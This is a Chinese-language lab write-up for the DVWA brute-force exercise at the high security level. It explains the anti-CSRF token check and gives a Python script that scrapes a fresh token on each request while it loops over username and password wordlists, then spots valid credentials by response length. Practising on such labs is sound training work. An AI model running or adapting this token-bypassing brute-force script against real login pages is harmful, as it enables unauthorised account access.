dvwa_Brute Force(暴力破解) _High
首先,进入DVWA Security 改impossible为high并提交。返回Brute Force
点击View Source,发现与low的区别在于引入checkToken这条函数
checkToken函数:过滤一些较为低级的爆破
注:之前就用账号和密码两个数值,用checkToken的话,你从服务器上,它会下发一个参数到你的终端,当你用账号密码去登录的时候,实际上是你已经先打开了它这个网站,它会先把这个checkToken下发给你,登录时必须带上它发给你的这个checkToken,如果不是(和它逻辑上的checkToken不匹配),它就不会继续下一步去处理你的账号密码
很多大型企业都会这么做,在数据库前面再加一个checkToken服务器就可以有效过滤一些针对数据库的爆破攻击,这样可以降低你的数据库的使用农场和CPU的占用率
破解方法:
用BURPSUITE(简称:BURP)来暴力破解
1、打开burp,点击Burp的Proxy窗口下Intercept is on打开
2、Brute Force:做一次登录(随意输密码)
3、Burp的Proxy窗口下Intercept is on,可捕捉到账号,密码、login以及user_token上个级别是没有token
4、接下来需要编写脚本(python)
- header中的参数 ’User-Agent'代表你用的是哪个浏览器,通过Burp的Proxy窗口下 Intercept is on可捕捉你用的浏览器是哪个,进行填写
- header中的参数‘Cookie’必须根据Burp的Proxy窗口下Intercept is on可捕捉的进行填写和修改
- 例:
header={ 'User-Agent':'Mozilla/5.8 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Fire/75.0' 'Cookie':'security=high; PHPSESSID=s00k1k6dbjrggj74g3tdso4bah' }
- 参数url记录网页的url
- 编写自定义函数get_token(url,headers)捕捉token(input捕捉[3])
def get_token(url,headers): r=request.get(url,headers=header) #print(r.status_code) html=r.content.decode() #print(len(html)) soup=BeautifulSoup(html,"html.perser") user_token=soup.find_all('input')[3]["value"] return user_token
- 编写主函数,通过账号本和密码本以及捕捉到的token不断运行测试获取正确的账号,密码以及token
i=0 for admin in open("d:\\user.txt"): for line in open("d:\\password.txt"): u_token=get_token(url,header) username=admin.strip() password=line.strip() payload={'username':username,'password':password,'Login':'Login','user_token':u_token} #print(payload) i=i+1 response=request.get(url,params=payload,headers=header) print(i,username,password,len(response.content.decode())) user_token=get_token(url,header)
5、运行脚本,通过字符长度的比较,获得正确的账号密码,去尝试登录